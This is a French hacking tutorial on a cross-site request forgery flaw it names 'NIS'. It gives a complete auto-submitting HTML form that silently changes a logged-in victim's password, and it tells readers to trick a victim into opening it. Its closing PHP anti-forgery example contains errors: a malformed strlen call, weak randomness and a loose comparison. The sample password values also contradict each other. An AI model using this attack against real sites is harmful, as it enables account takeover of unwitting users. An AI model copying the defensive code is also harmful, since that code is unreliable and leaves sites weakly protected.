0x01. PRESENTATION
La faille New Informations Submission (abrégé : NIS), est une faille qui permet de faire faire changer les informations d'une personne, que ce soit dans un profil ou bien son mot de passe.
Certains grands sites pensent qu'il n'est pas nécessaire de demander l'ancien mot de passe pour le changer, mais si nous codons un petit script qui fera envoyer le nouveau mot de passe de la victime sans qu'elle s'en aperçoive et qu'on ne demande pas l'ancien, y a-t-il sécurité ? Voici à quoi ressemble un formulaire sécurisé (par exemple) :
Nouveau mot de passe:
Confirmer le mot de passe:
Et voici à quoi ressemble un formulaire avec la faiblesse NIS :
Confirmer le mot de passe:
0x02. EXPLICATION
Dans le premier formulaire, on est obligé de connaître la première valeur avant de modifier les secondes.
Alors que dans le second exemple, on peut modifier les deux valeurs sans connaître l'ancien mot de passe. Si nous codons un script qui envoie le nouveau passe et sa confirmation via méthode POST et que nous le faisons exécuter à notre victime, son mot de passe se verra changé !
On va étudier un exemple concret. Voici un formulaire faillible :
Code : HTML <form method="post" action="http://site.com/profil_post.php"> <p>Mot de passe : <input type="password" name="password" /></p> <p>Confirmation : <input type="password" name="password_confirm" /></p> <input type="submit" class="btn_update_db" value="Valider" /> </form>
Vous constatez bien évidemment que les input correspondent aux champs de formulaires dans les exemples ci-dessus, et etc. Nous allons commencer par créer notre script. Tout d'abord faire un form, lui donner un nom et mettre tous nos input en 'hidden' et leur donner une valeur. Le code ci-dessous détaille ce que je viens d'expliquer :
Code : HTML <form method="post" action="http://site.com/profil_post.php" name="formulr"> <p>Mot de passe : <input type="hidden" name="password" value="Poire65" /></p> <p>Confirmation : <input type="hidden" name="password_confirm" value="Poire65" /></p> </form>
Ici, on a bien évidemment pris la méthode et l'action du code HTML sur le site oà le formulaire est faillible, mais nous lui avons aussi rajouté un nom (ici, 'formulr'). Dans cette form, nous avons mis les champs de mot de passe et sa confirmation en hidden et nous leur avons donner une value, ici : poire54. Cela signifie que lorsque la victime exécutera le script, son nouveau mot de passe sera poire54.
Mais non, pas besoin de ça, on va juste faire un petit script qui est seulement exécutable par Internet Explorer. Vous devrez donc vous assurer que la victime tourne sous IE.
Juste une ligne pour ordonner au script d'envoyer les données de la forme dont le nom correspond à formulr . Et bien évidemment la forme dont le nom est formulr est de méthode post et va poster les données sur http://site.com/profil_post.php, comme sur le formulaire faillible du site !
Voici le code complet à insérer dans votre page :
Code : HTML <form method="post" action="http://site.com/profil_post.php" name="formulr"> <p>Mot de passe : <input type="password" name="password" value="Poire65" /></p> <p>Confirmation : <input type="password" name="password_confirm" value="Poire65" /></p> </form> <script> formulr.submit() </script>
Enregistrez cette page sous le format .htm, démerdez-vous pour la faire exécuter à votre victime, en vous assurant qu'elle soit connectée au site web, sinon les données ne pourront pas être mise à jour si la victime n'est pas connectée.
0x03. SECURISATION
Pour sécuriser ceci, rien de plus simple. Faire une chaîne aléatoire en MD5 qui se mets en input hidden et en session, puis après vérifier si la clef de session et la clef postée sont identiques. Si tel est le cas, continuer le script ou sinon arrêter le script.
Exemple :
Code : HTML/PHP <?php session_start(); function randomstr() { $size = 8; // Longueur de chaîne aléatoire a changer en cas de besoin $string = ''; $caracteres = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012356789"; for($i = 0; $i <= $size; $i++) { $lettre_aleatoire = mt_rand(0, strlen($caracteres - 1)); $string .= $caracteres [$lettre_aleatoire] ; } $string = md5($string); return($string); } if(isset($_POST ['key'] ,$_POST ['password'] ,$_POST ['password_confirm'] )) { if(isset($_SESSION ['key'] ) && $_SESSION ['key'] == $_POST ['key'] ) { // Si la clef de session est égale à la clef de post, on continue le script } else { die(); // Sinon on arrête le script } } else { $_SESSION ['key'] = randomstr(); // FAIRE UNE CHAINE ALEATOIRE ?> <form method="post" action="http://site.com/profil_post.php"> <input type="hidden" name="key" value="<? echo($_SESSION ['key'] ); ?>" /> <p>Mot de passe : <input type="password" name="password" /></p> <p>Confirmation : <input type="password" name="password_confirm" /></p> <input type="submit" value="Valider" /> </form> <?php } // Fermeture du 'else'
Explications : Une clé parfaitement aléatoire est générée lors de l'arrivée sur le formulaire. Donc on ne peut pas faire de script pour changer de passe, puisque déjà le script ne permet pas d'obtenir une clé, et que la clé de session n'est pas générée ! C'est cette protection qu'utilise skyblog sur le système de commentaires pour éviter que des automates ne floodent.
Une autre protection aussi efficace est l'image antispam, qui vous demande de recopier une chaîne de caractères aléatoire.
=> Écrit par : Geo, le 27 janvier 2016